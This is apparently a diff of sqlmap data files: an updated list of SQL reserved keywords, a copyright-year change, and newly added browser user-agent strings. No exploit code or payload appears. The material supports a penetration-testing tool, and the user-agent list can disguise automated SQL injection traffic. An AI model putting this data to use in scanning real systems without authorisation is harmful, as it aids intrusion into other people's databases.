# SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml)
|
||||||
@@ -452,26 +452,13 @@ WRITEXOR
|
|||||||
YEAR_MONTH
|
YEAR_MONTH
|
||||||
ZEROFILL
|
ZEROFILL
|
||||||
|
|
||||||
# PostgreSQL keywords (reference: https://www.postgresql.org/docs/9.3/sql-keywords-appendix.html)
|
# PostgreSQL|SQL:2016|SQL:2011 reserved words (reference: https://www.postgresql.org/docs/current/sql-keywords-appendix.html)
|
||||||
|
|
||||||
A
|
|
||||||
ABORT
|
|
||||||
ABS
|
ABS
|
||||||
ABSENT
|
ACOS
|
||||||
ABSOLUTE
|
|
||||||
ACCESS
|
|
||||||
ACCORDING
|
|
||||||
ACTION
|
|
||||||
ADA
|
|
||||||
ADD
|
|
||||||
ADMIN
|
|
||||||
AFTER
|
|
||||||
AGGREGATE
|
|
||||||
ALL
|
ALL
|
||||||
ALLOCATE
|
ALLOCATE
|
||||||
ALSO
|
|
||||||
ALTER
|
ALTER
|
||||||
ALWAYS
|
|
||||||
ANALYSE
|
ANALYSE
|
||||||
ANALYZE
|
ANALYZE
|
||||||
AND
|
AND
|
||||||
@@ -483,110 +470,61 @@ ARRAY_MAX_CARDINALITY
|
|||||||
AS
|
AS
|
||||||
ASC
|
ASC
|
||||||
ASENSITIVE
|
ASENSITIVE
|
||||||
ASSERTION
|
ASIN
|
||||||
ASSIGNMENT
|
|
||||||
ASYMMETRIC
|
ASYMMETRIC
|
||||||
AT
|
AT
|
||||||
|
ATAN
|
||||||
ATOMIC
|
ATOMIC
|
||||||
ATTRIBUTE
|
|
||||||
ATTRIBUTES
|
|
||||||
AUTHORIZATION
|
AUTHORIZATION
|
||||||
AVG
|
AVG
|
||||||
BACKWARD
|
|
||||||
BASE64
|
|
||||||
BEFORE
|
|
||||||
BEGIN
|
BEGIN
|
||||||
BEGIN_FRAME
|
BEGIN_FRAME
|
||||||
BEGIN_PARTITION
|
BEGIN_PARTITION
|
||||||
BERNOULLI
|
|
||||||
BETWEEN
|
BETWEEN
|
||||||
BIGINT
|
BIGINT
|
||||||
BINARY
|
BINARY
|
||||||
BIT
|
|
||||||
BIT_LENGTH
|
|
||||||
BLOB
|
BLOB
|
||||||
BLOCKED
|
|
||||||
BOM
|
|
||||||
BOOLEAN
|
BOOLEAN
|
||||||
BOTH
|
BOTH
|
||||||
BREADTH
|
|
||||||
BY
|
BY
|
||||||
C
|
|
||||||
CACHE
|
|
||||||
CALL
|
CALL
|
||||||
CALLED
|
CALLED
|
||||||
CARDINALITY
|
CARDINALITY
|
||||||
CASCADE
|
|
||||||
CASCADED
|
CASCADED
|
||||||
CASE
|
CASE
|
||||||
CAST
|
CAST
|
||||||
CATALOG
|
|
||||||
CATALOG_NAME
|
|
||||||
CEIL
|
CEIL
|
||||||
CEILING
|
CEILING
|
||||||
CHAIN
|
|
||||||
CHAR
|
CHAR
|
||||||
CHARACTER
|
CHARACTER
|
||||||
CHARACTERISTICS
|
|
||||||
CHARACTERS
|
|
||||||
CHARACTER_LENGTH
|
CHARACTER_LENGTH
|
||||||
CHARACTER_SET_CATALOG
|
|
||||||
CHARACTER_SET_NAME
|
|
||||||
CHARACTER_SET_SCHEMA
|
|
||||||
CHAR_LENGTH
|
CHAR_LENGTH
|
||||||
CHECK
|
CHECK
|
||||||
CHECKPOINT
|
CLASSIFIER
|
||||||
CLASS
|
|
||||||
CLASS_ORIGIN
|
|
||||||
CLOB
|
CLOB
|
||||||
CLOSE
|
CLOSE
|
||||||
CLUSTER
|
|
||||||
COALESCE
|
COALESCE
|
||||||
COBOL
|
|
||||||
COLLATE
|
COLLATE
|
||||||
COLLATION
|
COLLATION
|
||||||
COLLATION_CATALOG
|
|
||||||
COLLATION_NAME
|
|
||||||
COLLATION_SCHEMA
|
|
||||||
COLLECT
|
COLLECT
|
||||||
COLUMN
|
COLUMN
|
||||||
COLUMNS
|
|
||||||
COLUMN_NAME
|
|
||||||
COMMAND_FUNCTION
|
|
||||||
COMMAND_FUNCTION_CODE
|
|
||||||
COMMENT
|
|
||||||
COMMENTS
|
|
||||||
COMMIT
|
COMMIT
|
||||||
COMMITTED
|
|
||||||
CONCURRENTLY
|
CONCURRENTLY
|
||||||
CONDITION
|
CONDITION
|
||||||
CONDITION_NUMBER
|
|
||||||
CONFIGURATION
|
|
||||||
CONNECT
|
CONNECT
|
||||||
CONNECTION
|
|
||||||
CONNECTION_NAME
|
|
||||||
CONSTRAINT
|
CONSTRAINT
|
||||||
CONSTRAINTS
|
|
||||||
CONSTRAINT_CATALOG
|
|
||||||
CONSTRAINT_NAME
|
|
||||||
CONSTRAINT_SCHEMA
|
|
||||||
CONSTRUCTOR
|
|
||||||
CONTAINS
|
CONTAINS
|
||||||
CONTENT
|
|
||||||
CONTINUE
|
|
||||||
CONTROL
|
|
||||||
CONVERSION
|
|
||||||
CONVERT
|
CONVERT
|
||||||
COPY
|
COPY
|
||||||
CORR
|
CORR
|
||||||
CORRESPONDING
|
CORRESPONDING
|
||||||
COST
|
COS
|
||||||
|
COSH
|
||||||
COUNT
|
COUNT
|
||||||
COVAR_POP
|
COVAR_POP
|
||||||
COVAR_SAMP
|
COVAR_SAMP
|
||||||
CREATE
|
CREATE
|
||||||
CROSS
|
CROSS
|
||||||
CSV
|
|
||||||
CUBE
|
CUBE
|
||||||
CUME_DIST
|
CUME_DIST
|
||||||
CURRENT
|
CURRENT
|
||||||
@@ -602,44 +540,25 @@ CURRENT_TIMESTAMP
|
|||||||
CURRENT_TRANSFORM_GROUP_FOR_TYPE
|
CURRENT_TRANSFORM_GROUP_FOR_TYPE
|
||||||
CURRENT_USER
|
CURRENT_USER
|
||||||
CURSOR
|
CURSOR
|
||||||
CURSOR_NAME
|
|
||||||
CYCLE
|
CYCLE
|
||||||
DATA
|
|
||||||
DATABASE
|
|
||||||
DATALINK
|
DATALINK
|
||||||
DATE
|
DATE
|
||||||
DATETIME_INTERVAL_CODE
|
|
||||||
DATETIME_INTERVAL_PRECISION
|
|
||||||
DAY
|
DAY
|
||||||
DB
|
|
||||||
DEALLOCATE
|
DEALLOCATE
|
||||||
DEC
|
DEC
|
||||||
|
DECFLOAT
|
||||||
DECIMAL
|
DECIMAL
|
||||||
DECLARE
|
DECLARE
|
||||||
DEFAULT
|
DEFAULT
|
||||||
DEFAULTS
|
|
||||||
DEFERRABLE
|
DEFERRABLE
|
||||||
DEFERRED
|
DEFINE
|
||||||
DEFINED
|
|
||||||
DEFINER
|
|
||||||
DEGREE
|
|
||||||
DELETE
|
DELETE
|
||||||
DELIMITER
|
|
||||||
DELIMITERS
|
|
||||||
DENSE_RANK
|
DENSE_RANK
|
||||||
DEPTH
|
|
||||||
DEREF
|
DEREF
|
||||||
DERIVED
|
|
||||||
DESC
|
DESC
|
||||||
DESCRIBE
|
DESCRIBE
|
||||||
DESCRIPTOR
|
|
||||||
DETERMINISTIC
|
DETERMINISTIC
|
||||||
DIAGNOSTICS
|
|
||||||
DICTIONARY
|
|
||||||
DISABLE
|
|
||||||
DISCARD
|
|
||||||
DISCONNECT
|
DISCONNECT
|
||||||
DISPATCH
|
|
||||||
DISTINCT
|
DISTINCT
|
||||||
DLNEWCOPY
|
DLNEWCOPY
|
||||||
DLPREVIOUSCOPY
|
DLPREVIOUSCOPY
|
||||||
@@ -653,313 +572,176 @@ DLURLSCHEME
|
|||||||
DLURLSERVER
|
DLURLSERVER
|
||||||
DLVALUE
|
DLVALUE
|
||||||
DO
|
DO
|
||||||
DOCUMENT
|
|
||||||
DOMAIN
|
|
||||||
DOUBLE
|
DOUBLE
|
||||||
DROP
|
DROP
|
||||||
DYNAMIC
|
DYNAMIC
|
||||||
DYNAMIC_FUNCTION
|
|
||||||
DYNAMIC_FUNCTION_CODE
|
|
||||||
EACH
|
EACH
|
||||||
ELEMENT
|
ELEMENT
|
||||||
ELSE
|
ELSE
|
||||||
EMPTY
|
EMPTY
|
||||||
ENABLE
|
|
||||||
ENCODING
|
|
||||||
ENCRYPTED
|
|
||||||
END
|
END
|
||||||
END-EXEC
|
END-EXEC
|
||||||
END_FRAME
|
END_FRAME
|
||||||
END_PARTITION
|
END_PARTITION
|
||||||
ENFORCED
|
|
||||||
ENUM
|
|
||||||
EQUALS
|
EQUALS
|
||||||
ESCAPE
|
ESCAPE
|
||||||
EVENT
|
|
||||||
EVERY
|
EVERY
|
||||||
EXCEPT
|
EXCEPT
|
||||||
EXCEPTION
|
|
||||||
EXCLUDE
|
|
||||||
EXCLUDING
|
|
||||||
EXCLUSIVE
|
|
||||||
EXEC
|
EXEC
|
||||||
EXECUTE
|
EXECUTE
|
||||||
EXISTS
|
EXISTS
|
||||||
EXP
|
EXP
|
||||||
EXPLAIN
|
|
||||||
EXPRESSION
|
|
||||||
EXTENSION
|
|
||||||
EXTERNAL
|
EXTERNAL
|
||||||
EXTRACT
|
EXTRACT
|
||||||
FALSE
|
FALSE
|
||||||
FAMILY
|
|
||||||
FETCH
|
FETCH
|
||||||
FILE
|
|
||||||
FILTER
|
FILTER
|
||||||
FINAL
|
|
||||||
FIRST
|
|
||||||
FIRST_VALUE
|
FIRST_VALUE
|
||||||
FLAG
|
|
||||||
FLOAT
|
FLOAT
|
||||||
FLOOR
|
FLOOR
|
||||||
FOLLOWING
|
|
||||||
FOR
|
FOR
|
||||||
FORCE
|
|
||||||
FOREIGN
|
FOREIGN
|
||||||
FORTRAN
|
|
||||||
FORWARD
|
|
||||||
FOUND
|
|
||||||
FRAME_ROW
|
FRAME_ROW
|
||||||
FREE
|
FREE
|
||||||
FREEZE
|
FREEZE
|
||||||
FROM
|
FROM
|
||||||
FS
|
|
||||||
FULL
|
FULL
|
||||||
FUNCTION
|
FUNCTION
|
||||||
FUNCTIONS
|
|
||||||
FUSION
|
FUSION
|
||||||
G
|
|
||||||
GENERAL
|
|
||||||
GENERATED
|
|
||||||
GET
|
GET
|
||||||
GLOBAL
|
GLOBAL
|
||||||
GO
|
|
||||||
GOTO
|
|
||||||
GRANT
|
GRANT
|
||||||
GRANTED
|
|
||||||
GREATEST
|
|
||||||
GROUP
|
GROUP
|
||||||
GROUPING
|
GROUPING
|
||||||
GROUPS
|
GROUPS
|
||||||
HANDLER
|
|
||||||
HAVING
|
HAVING
|
||||||
HEADER
|
|
||||||
HEX
|
|
||||||
HIERARCHY
|
|
||||||
HOLD
|
HOLD
|
||||||
HOUR
|
HOUR
|
||||||
ID
|
|
||||||
IDENTITY
|
IDENTITY
|
||||||
IF
|
|
||||||
IGNORE
|
|
||||||
ILIKE
|
ILIKE
|
||||||
IMMEDIATE
|
|
||||||
IMMEDIATELY
|
|
||||||
IMMUTABLE
|
|
||||||
IMPLEMENTATION
|
|
||||||
IMPLICIT
|
|
||||||
IMPORT
|
IMPORT
|
||||||
IN
|
IN
|
||||||
INCLUDING
|
|
||||||
INCREMENT
|
|
||||||
INDENT
|
|
||||||
INDEX
|
|
||||||
INDEXES
|
|
||||||
INDICATOR
|
INDICATOR
|
||||||
INHERIT
|
INITIAL
|
||||||
INHERITS
|
|
||||||
INITIALLY
|
INITIALLY
|
||||||
INLINE
|
|
||||||
INNER
|
INNER
|
||||||
INOUT
|
INOUT
|
||||||
INPUT
|
|
||||||
INSENSITIVE
|
INSENSITIVE
|
||||||
INSERT
|
INSERT
|
||||||
INSTANCE
|
|
||||||
INSTANTIABLE
|
|
||||||
INSTEAD
|
|
||||||
INT
|
INT
|
||||||
INTEGER
|
INTEGER
|
||||||
INTEGRITY
|
|
||||||
INTERSECT
|
INTERSECT
|
||||||
INTERSECTION
|
INTERSECTION
|
||||||
INTERVAL
|
INTERVAL
|
||||||
INTO
|
INTO
|
||||||
INVOKER
|
|
||||||
IS
|
IS
|
||||||
ISNULL
|
ISNULL
|
||||||
ISOLATION
|
|
||||||
JOIN
|
JOIN
|
||||||
K
|
JSON_ARRAY
|
||||||
KEY
|
JSON_ARRAYAGG
|
||||||
KEY_MEMBER
|
JSON_EXISTS
|
||||||
KEY_TYPE
|
JSON_OBJECT
|
||||||
LABEL
|
JSON_OBJECTAGG
|
||||||
|
JSON_QUERY
|
||||||
|
JSON_TABLE
|
||||||
|
JSON_TABLE_PRIMITIVE
|
||||||
|
JSON_VALUE
|
||||||
LAG
|
LAG
|
||||||
LANGUAGE
|
LANGUAGE
|
||||||
LARGE
|
LARGE
|
||||||
LAST
|
|
||||||
LAST_VALUE
|
LAST_VALUE
|
||||||
LATERAL
|
LATERAL
|
||||||
LC_COLLATE
|
|
||||||
LC_CTYPE
|
|
||||||
LEAD
|
LEAD
|
||||||
LEADING
|
LEADING
|
||||||
LEAKPROOF
|
|
||||||
LEAST
|
|
||||||
LEFT
|
LEFT
|
||||||
LENGTH
|
|
||||||
LEVEL
|
|
||||||
LIBRARY
|
|
||||||
LIKE
|
LIKE
|
||||||
LIKE_REGEX
|
LIKE_REGEX
|
||||||
LIMIT
|
LIMIT
|
||||||
LINK
|
LISTAGG
|
||||||
LISTEN
|
|
||||||
LN
|
LN
|
||||||
LOAD
|
|
||||||
LOCAL
|
LOCAL
|
||||||
LOCALTIME
|
LOCALTIME
|
||||||
LOCALTIMESTAMP
|
LOCALTIMESTAMP
|
||||||
LOCATION
|
LOG
|
||||||
LOCATOR
|
LOG10
|
||||||
LOCK
|
|
||||||
LOWER
|
LOWER
|
||||||
M
|
|
||||||
MAP
|
|
||||||
MAPPING
|
|
||||||
MATCH
|
MATCH
|
||||||
MATCHED
|
MATCHES
|
||||||
MATERIALIZED
|
MATCH_NUMBER
|
||||||
|
MATCH_RECOGNIZE
|
||||||
MAX
|
MAX
|
||||||
MAXVALUE
|
MEASURES
|
||||||
MAX_CARDINALITY
|
|
||||||
MEMBER
|
MEMBER
|
||||||
MERGE
|
MERGE
|
||||||
MESSAGE_LENGTH
|
|
||||||
MESSAGE_OCTET_LENGTH
|
|
||||||
MESSAGE_TEXT
|
|
||||||
METHOD
|
METHOD
|
||||||
MIN
|
MIN
|
||||||
MINUTE
|
MINUTE
|
||||||
MINVALUE
|
|
||||||
MOD
|
MOD
|
||||||
MODE
|
|
||||||
MODIFIES
|
MODIFIES
|
||||||
MODULE
|
MODULE
|
||||||
MONTH
|
MONTH
|
||||||
MORE
|
|
||||||
MOVE
|
|
||||||
MULTISET
|
MULTISET
|
||||||
MUMPS
|
|
||||||
NAME
|
|
||||||
NAMES
|
|
||||||
NAMESPACE
|
|
||||||
NATIONAL
|
NATIONAL
|
||||||
NATURAL
|
NATURAL
|
||||||
NCHAR
|
NCHAR
|
||||||
NCLOB
|
NCLOB
|
||||||
NESTING
|
|
||||||
NEW
|
NEW
|
||||||
NEXT
|
|
||||||
NFC
|
|
||||||
NFD
|
|
||||||
NFKC
|
|
||||||
NFKD
|
|
||||||
NIL
|
|
||||||
NO
|
NO
|
||||||
NONE
|
NONE
|
||||||
NORMALIZE
|
NORMALIZE
|
||||||
NORMALIZED
|
|
||||||
NOT
|
NOT
|
||||||
NOTHING
|
|
||||||
NOTIFY
|
|
||||||
NOTNULL
|
NOTNULL
|
||||||
NOWAIT
|
|
||||||
NTH_VALUE
|
NTH_VALUE
|
||||||
NTILE
|
NTILE
|
||||||
NULL
|
NULL
|
||||||
NULLABLE
|
|
||||||
NULLIF
|
NULLIF
|
||||||
NULLS
|
|
||||||
NUMBER
|
|
||||||
NUMERIC
|
NUMERIC
|
||||||
OBJECT
|
|
||||||
OCCURRENCES_REGEX
|
OCCURRENCES_REGEX
|
||||||
OCTETS
|
|
||||||
OCTET_LENGTH
|
OCTET_LENGTH
|
||||||
OF
|
OF
|
||||||
OFF
|
|
||||||
OFFSET
|
OFFSET
|
||||||
OIDS
|
|
||||||
OLD
|
OLD
|
||||||
|
OMIT
|
||||||
ON
|
ON
|
||||||
|
ONE
|
||||||
ONLY
|
ONLY
|
||||||
OPEN
|
OPEN
|
||||||
OPERATOR
|
|
||||||
OPTION
|
|
||||||
OPTIONS
|
|
||||||
OR
|
OR
|
||||||
ORDER
|
ORDER
|
||||||
ORDERING
|
|
||||||
ORDINALITY
|
|
||||||
OTHERS
|
|
||||||
OUT
|
OUT
|
||||||
OUTER
|
OUTER
|
||||||
OUTPUT
|
|
||||||
OVER
|
OVER
|
||||||
OVERLAPS
|
OVERLAPS
|
||||||
OVERLAY
|
OVERLAY
|
||||||
OVERRIDING
|
|
||||||
OWNED
|
|
||||||
OWNER
|
|
||||||
P
|
|
||||||
PAD
|
|
||||||
PARAMETER
|
PARAMETER
|
||||||
PARAMETER_MODE
|
|
||||||
PARAMETER_NAME
|
|
||||||
PARAMETER_ORDINAL_POSITION
|
|
||||||
PARAMETER_SPECIFIC_CATALOG
|
|
||||||
PARAMETER_SPECIFIC_NAME
|
|
||||||
PARAMETER_SPECIFIC_SCHEMA
|
|
||||||
PARSER
|
|
||||||
PARTIAL
|
|
||||||
PARTITION
|
PARTITION
|
||||||
PASCAL
|
PATTERN
|
||||||
PASSING
|
PER
|
||||||
PASSTHROUGH
|
|
||||||
PASSWORD
|
|
||||||
PATH
|
|
||||||
PERCENT
|
PERCENT
|
||||||
PERCENTILE_CONT
|
PERCENTILE_CONT
|
||||||
PERCENTILE_DISC
|
PERCENTILE_DISC
|
||||||
PERCENT_RANK
|
PERCENT_RANK
|
||||||
PERIOD
|
PERIOD
|
||||||
PERMISSION
|
PERMUTE
|
||||||
PLACING
|
PLACING
|
||||||
PLANS
|
|
||||||
PLI
|
|
||||||
PORTION
|
PORTION
|
||||||
POSITION
|
POSITION
|
||||||
POSITION_REGEX
|
POSITION_REGEX
|
||||||
POWER
|
POWER
|
||||||
PRECEDES
|
PRECEDES
|
||||||
PRECEDING
|
|
||||||
PRECISION
|
PRECISION
|
||||||
PREPARE
|
PREPARE
|
||||||
PREPARED
|
|
||||||
PRESERVE
|
|
||||||
PRIMARY
|
PRIMARY
|
||||||
PRIOR
|
|
||||||
PRIVILEGES
|
|
||||||
PROCEDURAL
|
|
||||||
PROCEDURE
|
PROCEDURE
|
||||||
PROGRAM
|
PTF
|
||||||
PUBLIC
|
|
||||||
QUOTE
|
|
||||||
RANGE
|
RANGE
|
||||||
RANK
|
RANK
|
||||||
READ
|
|
||||||
READS
|
READS
|
||||||
REAL
|
REAL
|
||||||
REASSIGN
|
|
||||||
RECHECK
|
|
||||||
RECOVERY
|
|
||||||
RECURSIVE
|
RECURSIVE
|
||||||
REF
|
REF
|
||||||
REFERENCES
|
REFERENCES
|
||||||
REFERENCING
|
REFERENCING
|
||||||
REFRESH
|
|
||||||
REGR_AVGX
|
REGR_AVGX
|
||||||
REGR_AVGY
|
REGR_AVGY
|
||||||
REGR_COUNT
|
REGR_COUNT
|
||||||
@@ -969,185 +751,87 @@ REGR_SLOPE
|
|||||||
REGR_SXX
|
REGR_SXX
|
||||||
REGR_SXY
|
REGR_SXY
|
||||||
REGR_SYY
|
REGR_SYY
|
||||||
REINDEX
|
|
||||||
RELATIVE
|
|
||||||
RELEASE
|
RELEASE
|
||||||
RENAME
|
|
||||||
REPEATABLE
|
|
||||||
REPLACE
|
|
||||||
REPLICA
|
|
||||||
REQUIRING
|
|
||||||
RESET
|
|
||||||
RESPECT
|
|
||||||
RESTART
|
|
||||||
RESTORE
|
|
||||||
RESTRICT
|
|
||||||
RESULT
|
RESULT
|
||||||
RETURN
|
RETURN
|
||||||
RETURNED_CARDINALITY
|
|
||||||
RETURNED_LENGTH
|
|
||||||
RETURNED_OCTET_LENGTH
|
|
||||||
RETURNED_SQLSTATE
|
|
||||||
RETURNING
|
RETURNING
|
||||||
RETURNS
|
RETURNS
|
||||||
REVOKE
|
REVOKE
|
||||||
RIGHT
|
RIGHT
|
||||||
ROLE
|
|
||||||
ROLLBACK
|
ROLLBACK
|
||||||
ROLLUP
|
ROLLUP
|
||||||
ROUTINE
|
|
||||||
ROUTINE_CATALOG
|
|
||||||
ROUTINE_NAME
|
|
||||||
ROUTINE_SCHEMA
|
|
||||||
ROW
|
ROW
|
||||||
ROWS
|
ROWS
|
||||||
ROW_COUNT
|
|
||||||
ROW_NUMBER
|
ROW_NUMBER
|
||||||
RULE
|
RUNNING
|
||||||
SAVEPOINT
|
SAVEPOINT
|
||||||
SCALE
|
|
||||||
SCHEMA
|
|
||||||
SCHEMA_NAME
|
|
||||||
SCOPE
|
SCOPE
|
||||||
SCOPE_CATALOG
|
|
||||||
SCOPE_NAME
|
|
||||||
SCOPE_SCHEMA
|
|
||||||
SCROLL
|
SCROLL
|
||||||
SEARCH
|
SEARCH
|
||||||
SECOND
|
SECOND
|
||||||
SECTION
|
SEEK
|
||||||
SECURITY
|
|
||||||
SELECT
|
SELECT
|
||||||
SELECTIVE
|
|
||||||
SELF
|
|
||||||
SENSITIVE
|
SENSITIVE
|
||||||
SEQUENCE
|
|
||||||
SEQUENCES
|
|
||||||
SERIALIZABLE
|
|
||||||
SERVER
|
|
||||||
SERVER_NAME
|
|
||||||
SESSION
|
|
||||||
SESSION_USER
|
SESSION_USER
|
||||||
SET
|
SET
|
||||||
SETOF
|
|
||||||
SETS
|
|
||||||
SHARE
|
|
||||||
SHOW
|
SHOW
|
||||||
SIMILAR
|
SIMILAR
|
||||||
SIMPLE
|
SIN
|
||||||
SIZE
|
SINH
|
||||||
|
SKIP
|
||||||
SMALLINT
|
SMALLINT
|
||||||
SNAPSHOT
|
|
||||||
SOME
|
SOME
|
||||||
SOURCE
|
|
||||||
SPACE
|
|
||||||
SPECIFIC
|
SPECIFIC
|
||||||
SPECIFICTYPE
|
SPECIFICTYPE
|
||||||
SPECIFIC_NAME
|
|
||||||
SQL
|
SQL
|
||||||
SQLCODE
|
|
||||||
SQLERROR
|
|
||||||
SQLEXCEPTION
|
SQLEXCEPTION
|
||||||
SQLSTATE
|
SQLSTATE
|
||||||
SQLWARNING
|
SQLWARNING
|
||||||
SQRT
|
SQRT
|
||||||
STABLE
|
|
||||||
STANDALONE
|
|
||||||
START
|
START
|
||||||
STATE
|
|
||||||
STATEMENT
|
|
||||||
STATIC
|
STATIC
|
||||||
STATISTICS
|
|
||||||
STDDEV_POP
|
STDDEV_POP
|
||||||
STDDEV_SAMP
|
STDDEV_SAMP
|
||||||
STDIN
|
|
||||||
STDOUT
|
|
||||||
STORAGE
|
|
||||||
STRICT
|
|
||||||
STRIP
|
|
||||||
STRUCTURE
|
|
||||||
STYLE
|
|
||||||
SUBCLASS_ORIGIN
|
|
||||||
SUBMULTISET
|
SUBMULTISET
|
||||||
|
SUBSET
|
||||||
SUBSTRING
|
SUBSTRING
|
||||||
SUBSTRING_REGEX
|
SUBSTRING_REGEX
|
||||||
SUCCEEDS
|
SUCCEEDS
|
||||||
SUM
|
SUM
|
||||||
SYMMETRIC
|
SYMMETRIC
|
||||||
SYSID
|
|
||||||
SYSTEM
|
SYSTEM
|
||||||
SYSTEM_TIME
|
SYSTEM_TIME
|
||||||
SYSTEM_USER
|
SYSTEM_USER
|
||||||
T
|
|
||||||
TABLE
|
TABLE
|
||||||
TABLES
|
|
||||||
TABLESAMPLE
|
TABLESAMPLE
|
||||||
TABLESPACE
|
TAN
|
||||||
TABLE_NAME
|
TANH
|
||||||
TEMP
|
|
||||||
TEMPLATE
|
|
||||||
TEMPORARY
|
|
||||||
TEXT
|
|
||||||
THEN
|
THEN
|
||||||
TIES
|
|
||||||
TIME
|
TIME
|
||||||
TIMESTAMP
|
TIMESTAMP
|
||||||
TIMEZONE_HOUR
|
TIMEZONE_HOUR
|
||||||
TIMEZONE_MINUTE
|
TIMEZONE_MINUTE
|
||||||
TO
|
TO
|
||||||
TOKEN
|
|
||||||
TOP_LEVEL_COUNT
|
|
||||||
TRAILING
|
TRAILING
|
||||||
TRANSACTION
|
|
||||||
TRANSACTIONS_COMMITTED
|
|
||||||
TRANSACTIONS_ROLLED_BACK
|
|
||||||
TRANSACTION_ACTIVE
|
|
||||||
TRANSFORM
|
|
||||||
TRANSFORMS
|
|
||||||
TRANSLATE
|
TRANSLATE
|
||||||
TRANSLATE_REGEX
|
TRANSLATE_REGEX
|
||||||
TRANSLATION
|
TRANSLATION
|
||||||
TREAT
|
TREAT
|
||||||
TRIGGER
|
TRIGGER
|
||||||
TRIGGER_CATALOG
|
|
||||||
TRIGGER_NAME
|
|
||||||
TRIGGER_SCHEMA
|
|
||||||
TRIM
|
TRIM
|
||||||
TRIM_ARRAY
|
TRIM_ARRAY
|
||||||
TRUE
|
TRUE
|
||||||
TRUNCATE
|
TRUNCATE
|
||||||
TRUSTED
|
|
||||||
TYPE
|
|
||||||
TYPES
|
|
||||||
UESCAPE
|
UESCAPE
|
||||||
UNBOUNDED
|
|
||||||
UNCOMMITTED
|
|
||||||
UNDER
|
|
||||||
UNENCRYPTED
|
|
||||||
UNION
|
UNION
|
||||||
UNIQUE
|
UNIQUE
|
||||||
UNKNOWN
|
UNKNOWN
|
||||||
UNLINK
|
UNMATCHED
|
||||||
UNLISTEN
|
|
||||||
UNLOGGED
|
|
||||||
UNNAMED
|
|
||||||
UNNEST
|
UNNEST
|
||||||
UNTIL
|
|
||||||
UNTYPED
|
|
||||||
UPDATE
|
UPDATE
|
||||||
UPPER
|
UPPER
|
||||||
URI
|
|
||||||
USAGE
|
|
||||||
USER
|
USER
|
||||||
USER_DEFINED_TYPE_CATALOG
|
|
||||||
USER_DEFINED_TYPE_CODE
|
|
||||||
USER_DEFINED_TYPE_NAME
|
|
||||||
USER_DEFINED_TYPE_SCHEMA
|
|
||||||
USING
|
USING
|
||||||
VACUUM
|
|
||||||
VALID
|
|
||||||
VALIDATE
|
|
||||||
VALIDATOR
|
|
||||||
VALUE
|
VALUE
|
||||||
VALUES
|
VALUES
|
||||||
VALUE_OF
|
VALUE_OF
|
||||||
@@ -1158,22 +842,15 @@ VARYING
|
|||||||
VAR_POP
|
VAR_POP
|
||||||
VAR_SAMP
|
VAR_SAMP
|
||||||
VERBOSE
|
VERBOSE
|
||||||
VERSION
|
|
||||||
VERSIONING
|
VERSIONING
|
||||||
VIEW
|
|
||||||
VOLATILE
|
|
||||||
WHEN
|
WHEN
|
||||||
WHENEVER
|
WHENEVER
|
||||||
WHERE
|
WHERE
|
||||||
WHITESPACE
|
|
||||||
WIDTH_BUCKET
|
WIDTH_BUCKET
|
||||||
WINDOW
|
WINDOW
|
||||||
WITH
|
WITH
|
||||||
WITHIN
|
WITHIN
|
||||||
WITHOUT
|
WITHOUT
|
||||||
WORK
|
|
||||||
WRAPPER
|
|
||||||
WRITE
|
|
||||||
XML
|
XML
|
||||||
XMLAGG
|
XMLAGG
|
||||||
XMLATTRIBUTES
|
XMLATTRIBUTES
|
||||||
@@ -1181,7 +858,6 @@ XMLBINARY
|
|||||||
XMLCAST
|
XMLCAST
|
||||||
XMLCOMMENT
|
XMLCOMMENT
|
||||||
XMLCONCAT
|
XMLCONCAT
|
||||||
XMLDECLARATION
|
|
||||||
XMLDOCUMENT
|
XMLDOCUMENT
|
||||||
XMLELEMENT
|
XMLELEMENT
|
||||||
XMLEXISTS
|
XMLEXISTS
|
||||||
@@ -1191,12 +867,8 @@ XMLNAMESPACES
|
|||||||
XMLPARSE
|
XMLPARSE
|
||||||
XMLPI
|
XMLPI
|
||||||
XMLQUERY
|
XMLQUERY
|
||||||
XMLROOT
|
|
||||||
XMLSCHEMA
|
|
||||||
XMLSERIALIZE
|
XMLSERIALIZE
|
||||||
XMLTABLE
|
XMLTABLE
|
||||||
XMLTEXT
|
XMLTEXT
|
||||||
XMLVALIDATE
|
XMLVALIDATE
|
||||||
YEAR
|
YEAR
|
||||||
YES
|
|
||||||
ZONE
|
|
||||||
|
|||||||
File diff suppressed because it is too large
Load Diff
@@ -1,4 +1,4 @@
|
|||||||
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
# Opera
|
# Opera
|
||||||
@@ -4183,3 +4183,92 @@ Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-HK) AppleWebKit/533.18.1 (KHTML, lik
|
|||||||
Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-TW) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10
|
Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-TW) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10
|
||||||
Mozilla/5.0 (X11; U; Linux x86_64; en-ca) AppleWebKit/531.2+ (KHTML, like Gecko) Version/5.0 Safari/531.2+
|
Mozilla/5.0 (X11; U; Linux x86_64; en-ca) AppleWebKit/531.2+ (KHTML, like Gecko) Version/5.0 Safari/531.2+
|
||||||
Mozilla/5.0 (X11; U; Linux x86_64; en-us) AppleWebKit/531.2+ (KHTML, like Gecko) Version/5.0 Safari/531.2+
|
Mozilla/5.0 (X11; U; Linux x86_64; en-us) AppleWebKit/531.2+ (KHTML, like Gecko) Version/5.0 Safari/531.2+
|
||||||
|
|
||||||
|
# https://techblog.willshouse.com/2012/01/03/most-common-user-agents/ (Note: Updated December 28th 2020)
|
||||||
|
|
||||||
|
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
|
||||||
|
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
|
||||||
|
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
|
||||||
|
